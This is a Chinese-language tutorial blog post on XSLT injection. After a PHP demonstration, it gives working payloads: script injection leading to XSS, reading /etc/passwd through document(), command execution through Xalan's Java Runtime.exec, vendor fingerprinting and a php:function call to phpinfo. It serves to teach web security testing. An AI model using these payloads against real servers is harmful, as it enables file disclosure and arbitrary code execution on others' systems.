zoukankan      html  css  js  c++  java
  • xslt注入

    XSL(可扩展样式表语言)是一种用于转换XML文档的语言,XSLT表示的就是XSL转换,而XSL转换指的就是XML文档本身。转换后得到的一般都是不同的XML文档或其他类型文档,例如HTML文档、CSV文件以及明文文本文件等等。

    一般来说,应用程序或模板引擎在处理不同文件类型时需要使用XSLT来进行数据转换。很多企业级应用比较喜欢使用XSLT,比如说,多用户发票应用程序可以使用XSLT来允许客户自定义它们的发票,客户可以根据自己的需求来修改发票信息以及格式。

    其他常见应用:

    • 报告功能
    • 多种格式的数据导出功能;
    • 数据打印和输出功能;
    • 电子邮件;

    Talk is cheap, show me the code!下面就用php给大家演示下如何使用xsl对xml文件进行转换。

    显示xml文件,a.xml:

     

    再看下evil.xsl文件:

     

    其实我也不同xsl,但是从上面文件不难看出,大概意思就是循环根节点fruits下的所有fruit子节点,并查询子节点中的name节点和description节点。

    最后就是php程序里利用evil.xsl文件对a.xml文件进行转换了,代码如下:

     

    自己写的代码,所以很是简陋。大概意思就是利用dom解析xsl和目标xml文件,然后加入到XSLTProcessor对象中进行转换。访问该php文件:

     

    发现解析xml了,但是连在一起很是难受,我尝试再里面借入<br/>,发现能换行,说明被渲染了。

     

    于是尝试在里面加入js脚本

    很显然,说明xslt注入能导致xss

    但是xslt注入导致的问题远不止这么点,尝试xxe漏洞读取文件,还可以换一种方式来读取文件

    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
       <xsl:template match="/">
           <xsl:value-of select="document('/etc/passwd')">
       </xsl:value-of></xsl:template>
    </xsl:stylesheet>

     

    不过这种貌似只能读取xml文件,读取其他类型文件报错了,有点烦...

     

    算了继续下面的吧,xslt处理器如果不禁用,能将本机的java语言方法暴露为XSLT函数,导致任意代码执行漏洞,由于我用的是php代码,就不演示了,直接贴上代码

    <?xml version="1.0" encoding="utf-8"?>

    <xsl:stylesheet version="1.0"

    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"

    xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">

        <xsl:template match="/">

        <xsl:variable name="rtobject" select="rt:getRuntime()"/>

        <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>

        <xsl:variable name="processString" select="ob:toString($process)"/>

        <xsl:value-of select="$processString"/>

        </xsl:template>

        </xsl:stylesheet>

    上面说了这么多都是在xsl完全受我们控制的情况下,也就是说我们可以上传xsl文件。但很多时候我们只能控制xsl文件的部分内容(这里说的xsl文件并不一定是指.xsl后缀的文件,目前了解的情况下好像任意后缀都可以,只要格式是对的就行)。一个易受攻击的应用可能会使用不可信的用户输入动态地生成 XSLT 文档。例如,该应用可能会生成某个 XSLT 文档里面部分字符串是不可信的用户输入。可以参考文章https://bbs.pediy.com/thread-222921.htm 

    为了验证该应用是否是易受攻击的,我们通常会插入一些会导致 XML 文件语法错误的字符,例如双引号、单引号和尖括号{", ', <, >}。如果服务器会返回错误,那么这个应用就有可能是易受攻击的。一般而言,这种定位技术与定位 XML 注入漏洞的技术类似。

     <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
        <body>
            <xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
            <xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
        </body>
    </html>

    php

    <?xml version="1.0" encoding="UTF-8"?>
    <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    	<body>
    		<xsl:value-of name="bugbounty" select="php:function('phpinfo')"/>
    	</body>
    </html>
  • 相关阅读:
    SPOJ SAMER08A
    SPOJ TRAFFICN
    CS Academy Set Subtraction
    CS Academy Bad Triplet
    CF Round 432 C. Five Dimensional Points
    CF Round 432 B. Arpa and an exam about geometry
    SPOJ INVCNT
    CS Academy Palindromic Tree
    身体训练
    简单瞎搞题
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9970075.html
Copyright © 2011-2022 走看看